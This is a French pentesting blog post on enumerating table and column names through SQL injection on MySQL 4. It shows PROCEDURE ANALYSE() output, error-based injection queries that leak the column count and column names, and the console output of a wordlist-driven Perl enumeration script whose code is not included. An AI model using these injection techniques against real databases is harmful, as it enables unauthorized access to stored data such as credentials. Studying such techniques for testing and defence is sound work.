Indahax - Pierre Noguès

Twitter Facebook Linkedin email

Enumération des tables sous Mysql 4

Un petit post pour donner quelques tips et un petit script PERL pour lister les noms des colonnes et des tables lorsque l'on fait une injection SQL avec une base de données Mysql 4. Ha oui, c'est tout de suite plus difficile sans information_schema !

Le premier tips c'est en utilisant la fonction PROCEDURE ANALYSE(). Look :

mysql> SELECT * FROM client WHERE idClient =1 PROCEDURE ANALYSE();

+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
| Field_name              | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std    | Optimal_fieldtype     |
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
| clientz.client.idClient | 1         | 1         |          1 |          1 |                0 |     0 | 1.0000                  | 0.0000 | ENUM('1') NOT NULL    |
| clientz.client.name     | toto      | toto      |          4 |          4 |                0 |     0 | 4.0000                  | NULL   | ENUM('toto') NOT NULL |
| clientz.client.pass     | 123       | 123       |          3 |          3 |                0 |     0 | 3.0000                  | NULL   | ENUM('123') NOT NULL  |
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
3 rows in set (0.00 sec)

Youpi, la requête nous liste les noms des colonnes, la table et la base de données concernées par la requête ! Malheureusement il y a un petit problème, le titre des colonnes du résultat est changé : Field_name | Min_value | Max_value | ... au lieu de idClient | name | pass. Concrètement, cela veut dire qu'on pourra profiter de ce petit truc uniquement si le codeur référence ces colonnes par index et pas par nom de table ( $row[0] et pas $row["idClient"] ), ce qui est plutôt rare...

Un autre truc (corrigé sur Mysql 5.1) que j'ai découvert sur le forum de sla.ckers (ou ailleurs), lorsque l'on a découvert le nom de la table on peut tester un truc dans le genre :

mysql> SELECT name FROM client WHERE idClient = 1 AND (SELECT * FROM client LIMIT 1) = (1);

ERROR 1241 (21000): Operand should contain 3 column(s)

Youpi car ça nous retourne le nombre de colonnes, mais c'est maintenant que ça devient intéressant, toujours à l'aide des messages d'erreurs on va pouvoir lister le nom de chacune d'entre elles :

mysql> SELECT name FROM client WHERE idClient = 1 AND (SELECT * FROM client UNION SELECT 1%0,2,3 LIMIT 1) = (1,2,3);

"Column 'idClient' cannot be null"

Super Youpi alors, mais en faite, ça ne marchera que si la colonne en question dispose de l'attribut NOT NULL :(

Bon allez, j'arrête de donner des petits trucs foireux, passons aux choses sérieuses avec ce script maison en PERL qui cherche les noms des tables à partir d'une wordlist :

pierre@linux:/pentest/web/sql$ ./mysql4-enumeration.pl -t -w=/pentest/wordlist/sql_tables_columns.txt
METHOD 			: POST
FAILURE_PATTERN 	: ERROR|FAIL
STARTING MYSQL 4 ENUMERATION

[*] Table found : client

pierre@linux:/pentest/web/sql$ ./mysql4-enumeration.pl -c=client -w=/pentest/wordlist/sql_tables_columns.txt
METHOD 			: POST
FAILURE_PATTERN 	: ERROR|FAIL
STARTING MYSQL 4 ENUMERATION

[*] Column found : name
[*] Column found : pass

Je me suis pas pris la tête pour dev le script, il faut bidouiller le code pour personnaliser l'attaque en fonction l'injection... J'espère que vous comprendrez, sinon tant pis :)

Passez de joyeuses fêtes !